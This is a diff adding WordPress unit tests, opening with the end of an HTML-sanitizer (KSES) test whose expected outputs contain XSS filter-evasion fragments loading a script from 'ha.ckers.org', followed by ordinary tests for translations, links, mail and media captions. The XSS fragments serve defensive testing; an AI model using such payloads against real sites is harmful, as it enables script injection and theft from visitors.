+ case 'Evade Regex Filter 4': + $this->assertEquals( '\'" SRC="http://ha.ckers.org/xss.js">', $result ); + break; + case 'Evade Regex Filter 5': + $this->assertEquals( '` SRC="http://ha.ckers.org/xss.js">', $result ); + break; + case 'Filter Evasion 1': + $this->assertEquals( 'document.write("<SCRI");PT SRC="http://ha.ckers.org/xss.js">', $result ); + break; + case 'Filter Evasion 2': + $this->assertEquals( '\'>" SRC="http://ha.ckers.org/xss.js">', $result ); + break; + default: + $this->fail( 'KSES failed on ' . $attack->name . ': ' . $result ); + } + } + } + + function _wp_kses_allowed_html_filter( $html, $context ) { + if ( 'post' == $context ) + return array( 'a' => array( 'href' => true ) ); + else + return array( 'a' => array( 'href' => false ) ); + } + + /** + * @ticket 20210 + */ + public function test_wp_kses_allowed_html() { + global $allowedposttags, $allowedtags, $allowedentitynames; + + $this->assertEquals( $allowedposttags, wp_kses_allowed_html( 'post' ) ); + + $tags = wp_kses_allowed_html( 'post' ) ; + + foreach ( $tags as $tag ) { + $this->assertTrue( $tag['class'] ); + $this->assertTrue( $tag['id'] ); + $this->assertTrue( $tag['style'] ); + $this->assertTrue( $tag['title'] ); + } + + $this->assertEquals( $allowedtags, wp_kses_allowed_html( 'data' ) ); + $this->assertEquals( $allowedtags, wp_kses_allowed_html( '' ) ); + $this->assertEquals( $allowedtags, wp_kses_allowed_html() ); + + $tags = wp_kses_allowed_html( 'user_description' ); + $this->assertTrue( $tags['a']['rel'] ); + + $tags = wp_kses_allowed_html(); + $this->assertFalse( isset( $tags['a']['rel'] ) ); + + $this->assertEquals( array(), wp_kses_allowed_html( 'strip' ) ); + + $custom_tags = array( + 'a' => array( + 'href' => true, + 'rel' => true, + 'rev' => true, + 'name' => true, + 'target' => true, + ), + ); + + $this->assertEquals( $custom_tags, wp_kses_allowed_html( $custom_tags ) ); + + add_filter( 'wp_kses_allowed_html', array( $this, '_wp_kses_allowed_html_filter' ), 10, 2 ); + + $this->assertEquals( array( 'a' => array( 'href' => true ) ), wp_kses_allowed_html( 'post' ) ); + $this->assertEquals( array( 'a' => array( 'href' => false ) ), wp_kses_allowed_html( 'data' ) ); + + remove_filter( 'wp_kses_allowed_html', array( $this, '_wp_kses_allowed_html_filter' ) ); + $this->assertEquals( $allowedposttags, wp_kses_allowed_html( 'post' ) ); + $this->assertEquals( $allowedtags, wp_kses_allowed_html( 'data' ) ); + } +} diff --git a/tests/tests/l10n.php b/tests/tests/l10n.php new file mode 100644 index 0000000000..f6ada8ac2b --- /dev/null +++ b/tests/tests/l10n.php @@ -0,0 +1,29 @@ +assertFalse( is_textdomain_loaded( 'wp-tests-domain' ) ); + $this->assertFalse( unload_textdomain( 'wp-tests-domain' ) ); + $this->assertTrue( load_textdomain( 'wp-tests-domain', DIR_TESTDATA . '/wpcom-themes/p2/languages/es_ES.mo' ) ); + $this->assertTrue( is_textdomain_loaded( 'wp-tests-domain' ) ); + $this->assertTrue( unload_textdomain( 'wp-tests-domain' ) ); + $this->assertFalse( is_textdomain_loaded( 'wp-tests-domain' ) ); + } + + /** + * @ticket 21319 + */ + function test_is_textdomain_loaded_for_no_translations() { + $this->assertFalse( load_textdomain( 'wp-tests-domain', DIR_TESTDATA . '/non-existent-file' ) ); + $this->assertFalse( is_textdomain_loaded( 'wp-tests-domain' ) ); + $this->assertInstanceOf( 'NOOP_Translations', get_translations_for_domain( 'wp-tests-domain' ) ); + // Ensure that we don't confuse NOOP_Translations to be a loaded text domain. + $this->assertFalse( is_textdomain_loaded( 'wp-tests-domain' ) ); + $this->assertFalse( unload_textdomain( 'wp-tests-domain' ) ); + } +} \ No newline at end of file diff --git a/tests/tests/link.php b/tests/tests/link.php new file mode 100644 index 0000000000..18ee8c0459 --- /dev/null +++ b/tests/tests/link.php @@ -0,0 +1,30 @@ +set_permalink_structure('/%year%/%monthnum%/%day%/%postname%/'); + $wp_rewrite->flush_rules(); + + add_filter( 'home_url', array( $this, '_get_pagenum_link_cb' ) ); + $_SERVER['REQUEST_URI'] = '/woohoo'; + $paged = get_pagenum_link( 2 ); + + remove_filter( 'home_url', array( $this, '_get_pagenum_link_cb' ) ); + $this->assertEquals( $paged, home_url( '/WooHoo/page/2/' ) ); + + $_SERVER['REQUEST_URI'] = $old_req_uri; + } +} \ No newline at end of file diff --git a/tests/tests/mail.php b/tests/tests/mail.php new file mode 100644 index 0000000000..425fed5b0d --- /dev/null +++ b/tests/tests/mail.php @@ -0,0 +1,226 @@ +mock_sent); + $_SERVER['SERVER_NAME'] = 'example.com'; + wp_mail($to, $subject, $body, $headers); + + // We need some better assertions here but these catch the failure for now. + $this->assertEquals($body, $GLOBALS['phpmailer']->mock_sent[0]['body']); + $this->assertTrue(strpos($GLOBALS['phpmailer']->mock_sent[0]['header'], 'boundary="----=_Part_4892_25692638.1192452070893"') > 0); + $this->assertTrue(strpos($GLOBALS['phpmailer']->mock_sent[0]['header'], 'charset=') > 0); + unset( $_SERVER['SERVER_NAME'] ); + } + + /** + * @ticket 15448 + */ + function test_wp_mail_plain_and_html() { + + $to = 'user@example.com'; + $subject = 'Test email with plain text and html versions'; + $messages = array( 'text/plain' => 'Here is some plain text.', + 'text/html' =>'Here is the HTML ;-)' ); + + unset($GLOBALS['phpmailer']->mock_sent); + $_SERVER['SERVER_NAME'] = 'example.com'; + wp_mail( $to, $subject, $messages ); + + preg_match( '/boundary="(.*)"/', $GLOBALS['phpmailer']->mock_sent[0]['header'], $matches); + $boundry = $matches[1]; + $body = '--' . $boundry . ' +Content-Type: text/plain; charset = "UTF-8" +Content-Transfer-Encoding: 8bit + +Here is some plain text. + + +--' . $boundry . ' +Content-Type: text/html; charset = "UTF-8" +Content-Transfer-Encoding: 8bit + +Here is the HTML ;-) + + + +--' . $boundry . '-- +'; + // We need some better assertions here but these test the behaviour for now. + $this->assertEquals($body, $GLOBALS['phpmailer']->mock_sent[0]['body']); + unset( $_SERVER['SERVER_NAME'] ); + } + + /** + * @ticket 17305 + */ + function test_wp_mail_rfc2822_addresses() { + + $to = "Name "; + $from = "Another Name "; + $cc = "The Carbon Guy "; + $bcc = "The Blind Carbon Guy "; + $subject = "RFC2822 Testing"; + $message = "My RFC822 Test Message"; + $headers[] = "From: {$from}"; + $headers[] = "CC: {$cc}"; + $headers[] = "BCC: {$bcc}"; + + unset($GLOBALS['phpmailer']->mock_sent); + $_SERVER['SERVER_NAME'] = 'example.com'; + wp_mail( $to, $subject, $message, $headers ); + + // WordPress 3.2 and later correctly split the address into the two parts and send them seperately to PHPMailer + // Earlier versions of PHPMailer were not touchy about the formatting of these arguments. + if ( version_compare( $GLOBALS['wp_version'], '3.1.9', '>' ) ) { + $this->assertEquals('address@tld.com', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]); + $this->assertEquals('Name', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][1]); + $this->assertEquals('cc@cc.com', $GLOBALS['phpmailer']->mock_sent[0]['cc'][0][0]); + $this->assertEquals('The Carbon Guy', $GLOBALS['phpmailer']->mock_sent[0]['cc'][0][1]); + $this->assertEquals('bcc@bcc.com', $GLOBALS['phpmailer']->mock_sent[0]['bcc'][0][0]); + $this->assertEquals('The Blind Carbon Guy', $GLOBALS['phpmailer']->mock_sent[0]['bcc'][0][1]); + } else { + $this->assertEquals($to, $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]); + $this->assertEquals($cc, $GLOBALS['phpmailer']->mock_sent[0]['cc'][0][0]); + $this->assertEquals($bcc, $GLOBALS['phpmailer']->mock_sent[0]['bcc'][0][0]); + } + + $this->assertEquals($message . "\n", $GLOBALS['phpmailer']->mock_sent[0]['body']); + unset( $_SERVER['SERVER_NAME'] ); + } + + /** + * @ticket 17305 + */ + function test_wp_mail_multiple_rfc2822_to_addresses() { + + $to = "Name , Another Name "; + $subject = "RFC2822 Testing"; + $message = "My RFC822 Test Message"; + + unset($GLOBALS['phpmailer']->mock_sent); + $_SERVER['SERVER_NAME'] = 'example.com'; + wp_mail( $to, $subject, $message ); + + // WordPress 3.2 and later correctly split the address into the two parts and send them seperately to PHPMailer + // Earlier versions of PHPMailer were not touchy about the formatting of these arguments. + if ( version_compare( $GLOBALS['wp_version'], '3.1.9', '>' ) ) { + $this->assertEquals('address@tld.com', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]); + $this->assertEquals('Name', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][1]); + $this->assertEquals('another_address@different-tld.com', $GLOBALS['phpmailer']->mock_sent[0]['to'][1][0]); + $this->assertEquals('Another Name', $GLOBALS['phpmailer']->mock_sent[0]['to'][1][1]); + } else { + $this->assertEquals('Name ', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]); + $this->assertEquals('Another Name ', $GLOBALS['phpmailer']->mock_sent[0]['to'][1][0]); + } + + $this->assertEquals($message . "\n", $GLOBALS['phpmailer']->mock_sent[0]['body']); + unset( $_SERVER['SERVER_NAME'] ); + } + + function test_wp_mail_multiple_to_addresses() { + $to = "address@tld.com, another_address@different-tld.com"; + $subject = "RFC2822 Testing"; + $message = "My RFC822 Test Message"; + + unset($GLOBALS['phpmailer']->mock_sent); + $_SERVER['SERVER_NAME'] = 'example.com'; + wp_mail( $to, $subject, $message ); + + $this->assertEquals('address@tld.com', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]); + $this->assertEquals('another_address@different-tld.com', $GLOBALS['phpmailer']->mock_sent[0]['to'][1][0]); + $this->assertEquals($message . "\n", $GLOBALS['phpmailer']->mock_sent[0]['body']); + unset( $_SERVER['SERVER_NAME'] ); + } + + /** + * @ticket 18463 + */ + function test_wp_mail_to_address_no_name() { + + $to = ""; + $subject = "RFC2822 Testing"; + $message = "My RFC822 Test Message"; + + unset($GLOBALS['phpmailer']->mock_sent); + $_SERVER['SERVER_NAME'] = 'example.com'; + wp_mail( $to, $subject, $message ); + + // Old PHPMailer blindly accepts the address, the new one santizes it + if ( version_compare( $GLOBALS['wp_version'], '3.1.9', '>' ) ) + $this->assertEquals('address@tld.com', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]); + else + $this->assertEquals('', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]); + $this->assertEquals($message . "\n", $GLOBALS['phpmailer']->mock_sent[0]['body']); + unset( $_SERVER['SERVER_NAME'] ); + } + + /** + * @ticket 23642 + */ + function test_wp_mail_return_value() { + // No errors + $this->assertTrue( wp_mail( 'valid@address.com', 'subject', 'body' ) ); + + // Non-fatal errors + $this->assertTrue( wp_mail( 'valid@address.com', 'subject', 'body', "Cc: invalid-address\nBcc: @invalid.address", ABSPATH . '/non-existant-file.html' ) ); + + // Fatal errors + $this->assertFalse( wp_mail( 'invalid.address', 'subject', 'body', '', array() ) ); + } +} diff --git a/tests/tests/media.php b/tests/tests/media.php new file mode 100644 index 0000000000..9066fdc5ed --- /dev/null +++ b/tests/tests/media.php @@ -0,0 +1,343 @@ +caption = 'A simple caption.'; + $this->html_content = <<bolded
    caption with a link. +CAP; + $this->img_content = << +CAP; + $this->img_name = 'image.jpg'; + $this->img_url = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . $this->img_name; + $this->img_html = ''; + $this->img_dimensions = array( 'width' => 100, 'height' => 100 ); + } + + function test_img_caption_shortcode_added() { + global $shortcode_tags; + $this->assertEquals( 'img_caption_shortcode', $shortcode_tags['caption'] ); + $this->assertEquals( 'img_caption_shortcode', $shortcode_tags['wp_caption'] ); + } + + function test_img_caption_shortcode_with_empty_params() { + $result = img_caption_shortcode( array() ); + $this->assertNull( $result ); + } + + function test_img_caption_shortcode_with_bad_attr() { + $result = img_caption_shortcode( array(), 'content' ); + $this->assertEquals( 'content', 'content' ); + } + + function test_img_caption_shortcode_with_old_format() { + $result = img_caption_shortcode( + array( 'width' => 20, 'caption' => $this->caption ) + ); + $this->assertEquals( 2, preg_match_all( '/wp-caption/', $result, $_r ) ); + $this->assertEquals( 1, preg_match_all( '/alignnone/', $result, $_r ) ); + $this->assertEquals( 1, preg_match_all( "/{$this->caption}/", $result, $_r ) ); + $this->assertEquals( 1, preg_match_all( "/width: 30/", $result, $_r ) ); + } + + function test_img_caption_shortcode_with_old_format_id_and_align() { + $result = img_caption_shortcode( + array( + 'width' => 20, + 'caption' => $this->caption, + 'id' => '"myId', + 'align' => '&myAlignment' + ) + ); + $this->assertEquals( 1, preg_match_all( '/wp-caption &myAlignment/', $result, $_r ) ); + $this->assertEquals( 1, preg_match_all( '/id=""myId"/', $result, $_r ) ); + $this->assertEquals( 1, preg_match_all( "/{$this->caption}/", $result, $_r ) ); + } + + function test_new_img_caption_shortcode_with_html_caption() { + $result = img_caption_shortcode( + array( 'width' => 20, 'caption' => $this->html_content ) + ); + $our_preg = preg_quote( $this->html_content ); + + $this->assertEquals( 1, preg_match_all( "~{$our_preg}~", $result, $_r ) ); + } + + function test_new_img_caption_shortcode_new_format() { + $result = img_caption_shortcode( + array( 'width' => 20 ), + $this->img_content . $this->html_content + ); + $img_preg = preg_quote( $this->img_content ); + $content_preg = preg_quote( $this->html_content ); + + $this->assertEquals( 1, preg_match_all( "~{$img_preg}.*wp-caption-text~", $result, $_r ) ); + $this->assertEquals( 1, preg_match_all( "~wp-caption-text.*{$content_preg}~", $result, $_r ) ); + } + + function test_new_img_caption_shortcode_new_format_and_linked_image() { + $linked_image = "{$this->img_content}"; + $result = img_caption_shortcode( + array( 'width' => 20 ), + $linked_image . $this->html_content + ); + $img_preg = preg_quote( $linked_image ); + $content_preg = preg_quote( $this->html_content ); + + $this->assertEquals( 1, preg_match_all( "~{$img_preg}.*wp-caption-text~", $result, $_r ) ); + $this->assertEquals( 1, preg_match_all( "~wp-caption-text.*{$content_preg}~", $result, $_r ) ); + } + + function test_new_img_caption_shortcode_new_format_and_linked_image_with_newline() { + $linked_image = "{$this->img_content}"; + $result = img_caption_shortcode( + array( 'width' => 20 ), + $linked_image . "\n\n" . $this->html_content + ); + $img_preg = preg_quote( $linked_image ); + $content_preg = preg_quote( $this->html_content ); + + $this->assertEquals( 1, preg_match_all( "~{$img_preg}.*wp-caption-text~", $result, $_r ) ); + $this->assertEquals( 1, preg_match_all( "~wp-caption-text.*{$content_preg}~", $result, $_r ) ); + } + + function test_add_remove_oembed_provider() { + wp_oembed_add_provider( 'http://foo.bar/*', 'http://foo.bar/oembed' ); + $this->assertTrue( wp_oembed_remove_provider( 'http://foo.bar/*' ) ); + $this->assertFalse( wp_oembed_remove_provider( 'http://foo.bar/*' ) ); + } + + function test_wp_prepare_attachment_for_js() { + // Attachment without media + $id = wp_insert_attachment(array( + 'post_status' => 'publish', + 'post_title' => 'Prepare', + 'post_content_filtered' => 'Prepare', + 'post_type' => 'post' + )); + $post = get_post( $id ); + + $prepped = wp_prepare_attachment_for_js( $post ); + $this->assertInternalType( 'array', $prepped ); + $this->assertEquals( 0, $prepped['uploadedTo'] ); + $this->assertEquals( '', $prepped['mime'] ); + $this->assertEquals( '', $prepped['type'] ); + $this->assertEquals( '', $prepped['subtype'] ); + $this->assertEquals( '', $prepped['url'] ); + $this->assertEquals( site_url( 'wp-includes/images/crystal/default.png' ), $prepped['icon'] ); + + // Fake a mime + $post->post_mime_type = 'image/jpeg'; + $prepped = wp_prepare_attachment_for_js( $post ); + $this->assertEquals( 'image/jpeg', $prepped['mime'] ); + $this->assertEquals( 'image', $prepped['type'] ); + $this->assertEquals( 'jpeg', $prepped['subtype'] ); + + // Fake a mime without a slash. See #WP22532 + $post->post_mime_type = 'image'; + $prepped = wp_prepare_attachment_for_js( $post ); + $this->assertEquals( 'image', $prepped['mime'] ); + $this->assertEquals( 'image', $prepped['type'] ); + $this->assertEquals( '', $prepped['subtype'] ); + } + + /** + * @ticket 19067 + */ + function test_wp_convert_bytes_to_hr() { + $kb = 1024; + $mb = $kb * 1024; + $gb = $mb * 1024; + $tb = $gb * 1024; + + // test if boundaries are correct + $this->assertEquals( '1TB', wp_convert_bytes_to_hr( $tb ) ); + $this->assertEquals( '1GB', wp_convert_bytes_to_hr( $gb ) ); + $this->assertEquals( '1MB', wp_convert_bytes_to_hr( $mb ) ); + $this->assertEquals( '1kB', wp_convert_bytes_to_hr( $kb ) ); + + // now some values around + $hr = wp_convert_bytes_to_hr( $tb + $tb / 2 + $mb ); + $this->assertTrue( abs( 1.50000095367 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 ); + + $hr = wp_convert_bytes_to_hr( $tb - $mb - $kb ); + $this->assertTrue( abs( 1023.99902248 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 ); + + $hr = wp_convert_bytes_to_hr( $gb + $gb / 2 + $mb ); + $this->assertTrue( abs( 1.5009765625 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 ); + + $hr = wp_convert_bytes_to_hr( $gb - $mb - $kb ); + $this->assertTrue( abs( 1022.99902344 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 ); + + // edge + $this->assertEquals( '-1B', wp_convert_bytes_to_hr( -1 ) ); + $this->assertEquals( '0B', wp_convert_bytes_to_hr( 0 ) ); + } + + /** + * @ticket 22960 + */ + function test_get_attached_images() { + $post_id = $this->factory->post->create(); + $attachment_id = $this->factory->attachment->create_object( $this->img_name, $post_id, array( + 'post_mime_type' => 'image/jpeg', + 'post_type' => 'attachment' + ) ); + + $images = get_attached_media( 'image', $post_id ); + $this->assertEquals( $images, array( $attachment_id => get_post( $attachment_id ) ) ); + } + + /** + * @ticket 22960 + */ + function test_post_galleries_images() { + $ids1 = array(); + $ids1_srcs = array(); + foreach ( range( 1, 3 ) as $i ) { + $attachment_id = $this->factory->attachment->create_object( "image$i.jpg", 0, array( + 'post_mime_type' => 'image/jpeg', + 'post_type' => 'attachment' + ) ); + wp_update_attachment_metadata( $attachment_id, $this->img_dimensions ); + $ids1[] = $attachment_id; + $ids1_srcs[] = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . "image$i.jpg"; + } + + $ids2 = array(); + $ids2_srcs = array(); + foreach ( range( 4, 6 ) as $i ) { + $attachment_id = $this->factory->attachment->create_object( "image$i.jpg", 0, array( + 'post_mime_type' => 'image/jpeg', + 'post_type' => 'attachment' + ) ); + wp_update_attachment_metadata( $attachment_id, $this->img_dimensions ); + $ids2[] = $attachment_id; + $ids2_srcs[] = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . "image$i.jpg"; + } + + $ids1_joined = join( ',', $ids1 ); + $ids2_joined = join( ',', $ids2 ); + + $blob =<<factory->post->create( array( 'post_content' => $blob ) ); + $srcs = get_post_galleries_images( $post_id ); + $this->assertEquals( $srcs, array( $ids1_srcs, $ids2_srcs ) ); + } + + /** + * @ticket 22960 + */ + function test_post_gallery_images() { + $ids1 = array(); + $ids1_srcs = array(); + foreach ( range( 1, 3 ) as $i ) { + $attachment_id = $this->factory->attachment->create_object( "image$i.jpg", 0, array( + 'post_mime_type' => 'image/jpeg', + 'post_type' => 'attachment' + ) ); + wp_update_attachment_metadata( $attachment_id, $this->img_dimensions ); + $ids1[] = $attachment_id; + $ids1_srcs[] = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . "image$i.jpg"; + } + + $ids2 = array(); + $ids2_srcs = array(); + foreach ( range( 4, 6 ) as $i ) { + $attachment_id = $this->factory->attachment->create_object( "image$i.jpg", 0, array( + 'post_mime_type' => 'image/jpeg', + 'post_type' => 'attachment' + ) ); + wp_update_attachment_metadata( $attachment_id, $this->img_dimensions ); + $ids2[] = $attachment_id; + $ids2_srcs[] = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . "image$i.jpg"; + } + + $ids1_joined = join( ',', $ids1 ); + $ids2_joined = join( ',', $ids2 ); + + $blob =<<factory->post->create( array( 'post_content' => $blob ) ); + $srcs = get_post_gallery_images( $post_id ); + $this->assertEquals( $srcs, $ids1_srcs ); + } + + function test_get_media_embedded_in_content() { + $object =<< + + +OBJ; + $embed =<< +EMBED; + $iframe =<<